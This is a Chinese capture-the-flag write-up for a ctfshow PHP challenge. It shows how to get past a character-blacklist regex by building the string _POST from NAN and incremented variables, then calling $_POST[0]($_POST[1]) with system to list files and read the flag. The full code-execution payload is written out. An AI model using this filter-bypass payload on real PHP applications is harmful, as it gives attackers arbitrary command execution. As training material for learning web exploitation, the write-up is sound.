目录
- 题目源码
- 1 跑一下正则
- 2 分析解题用什么payload
- 3 构造payload
- 如何获取字母N
- 构造出_POST及其他拼接内容
- POST传参
- 4 完整解题payload
题目源码
1 跑一下正则
<?php
for($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
echo chr($i)." ";
}
}
?>
结果:
没被过滤的字符是:
$ ( ) + , . / 0 1 ; = [ ] _
2 分析解题用什么payload
挑战3相对于挑战2的区别主要在于两点,一是放出了数字0和1,同时,单引号被过滤了;二是对POST接收的参数ctf_show有了长度限制<=105
先回顾一下在挑战2中,我用的POST参数是:
ctf_show=$_=[]._;$_=$_['_'];$_++;$_++;$_++;$__=++$_;$_++;$__=++$_.$__;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$__.++$_;$_=_.$_;$$_[_]($$_[__]);
这个payload有157那么长,想要缩短到105以内好像不太现实,然后去看了其他师傅的wp,才知道原来这里不能再构造GET啦,而是要构造POST。
直觉上可能会觉得GET比POST短会用更少字符,但实际上,N可以通过类似于获取A的方法那样直接获得,而从N之后OPST都有,且离得近,因此POST更容易用更少的字符得到。[1]
[1]参考博客:
https://blog.csdn.net/qq_61955196/article/details/127932968?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22127932968%22%2C%22source%22%3A%22qq_38798840%22%7D&fromshare=blogdetail
[1]后来发现这段话可能最初是出自官方wp,贴个地址:
https://ctf-show.feishu.cn/docx/ToiJd70SboRn52xhn3WcJsfjnah
3 构造payload
如何获取字母N
类比挑战2中,通过利用php中[]的默认值是Array,再连接一个_构造出Array_,再取下标[0]获得A的思路,在挑战3中,通过执行0/0得到NAN,再连接一个_构造出NAN_,再取下标[0]获得N
$_=(0/0)._; //NAN_
$_=$_[0]; //N
忽略报错信息即可,可见这样可以得到N:
构造出_POST及其他拼接内容
有了N,接下来就用变量自增获得O、P、S、T,再拼接_和其他符号构造可以接收POST参数并能执行函数(关于为什么这么说,可以看挑战2的wp末尾)的$_POST[0]($_POST[1]);
即可。
先自己尝试写一下:
<?php
$_=(0/0)._; //NaN_
$_=$_[0]; //N
$__=++$_; //$__=O
$__=++$_.$__; //$__=PO
$_++;$_++; //Q、R
$__=$__.++$_; //$__=POS
$__=$__.++$_; //$__=POST
$_=_.$__; //$_=_POST
echo $_;
?>
写完执行试一下,忽略报错信息,可见这样可以得到_POST
:
再拼接出$_POST[0]($_POST[1]);
:
$$_[0]($$_[1]);
不要漏掉分号 不要漏掉分号 不要漏掉分号
POST传参
因为是POST方式所以继续在后面给出参数0和1的值,例如:
&0=system&1=ls /
在HackBar执行了一下居然回显了根目录文件,看来长度也符合要求咯,看了一下不包含传参0和1的部分,payload长度为102
4 完整解题payload
最终payload:
ctf_show=$_=(0/0)._;$_=$_[0];$__=++$_;$__=++$_.$__;$_++;$_++;$__=$__.++$_;$__=$__.++$_;$_=_.$__;$$_[0]($$_[1]);&0=system&1=cat /f*
列出根目录文件:
回显flag: